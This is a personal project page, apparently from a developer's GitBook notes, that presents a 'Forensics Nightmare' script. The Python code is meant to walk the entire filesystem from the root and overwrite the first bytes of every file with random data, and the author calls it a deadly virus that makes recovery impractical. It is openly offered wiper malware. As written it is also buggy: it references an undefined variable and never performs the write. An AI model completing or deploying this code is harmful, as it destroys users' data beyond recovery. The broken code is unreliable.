> For the complete documentation index, see [llms.txt](https://codingmace.gitbook.io/masterward/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://codingmace.gitbook.io/masterward/software/work-in-progress/cyber-security-projects.md).

# Cyber Security Projects

## Origin

I was in an interview and they asked what I have done on the side, which hit me a huge thing I have been overlooking. I don't have any cyber security projects but have a lot of programming projects. Sure I have CTF but how much does that account for? I realize I need to add more to get more creditability. 

## Overview

Wanted a program that could be useful in cyber security. Just put segments together into one huge program. Kind of like TOBIAS but in cyber security.

## Forensics Nightmare

Basically in forensics I learned that carving comes from magic bytes or headers from a file. I didn't want to append and it seemed there was nothing you could do to write the beginning bytes of the file until I found mmap. It could rewrite the first bytes of a file. Mix that in with a traversal and you get a deadly virus that rewrites a computer. The bytes are random so the only way to recover is to brute force guessing the correct file type and from that you still have a loss as I didn't just do the first few but a good chunk.

```python
import mmap
import random
import numpy as np
import os
import subprocess

def main():
    #subproccess.run('pip3 install mmap')
    path = "/"
    #we shall store all the file names in this list
    filelist = []
    print("starting up")
    for root, dirs, files in os.walk(path): # Finds all the files on the system
        for file in files:
            #append the file name to the list
            filelist.append(os.path.join(root,file))

    print("loading......")
    if True:
        for f in filelist: # Iterates through the files and rewrites the beginning bytes
            try:
                file_obj = open(f, mode='r+')
                mmap_obj = mmap.mmap(file_obj.fileno(),length=0,access=mmap.ACCESS_WRITE,offset=0)
                file_size = os.path.getsize(filepath)
                startint = 50
                endint = 150
                if file_size < 100:
                    endint = file_size
                    startint = file_size / 2
                rep_len = random.randint(startint, endint)
                randbytes = np.random.bytes(rep_len)
            except:
                pass

main()
```

## TBD


---

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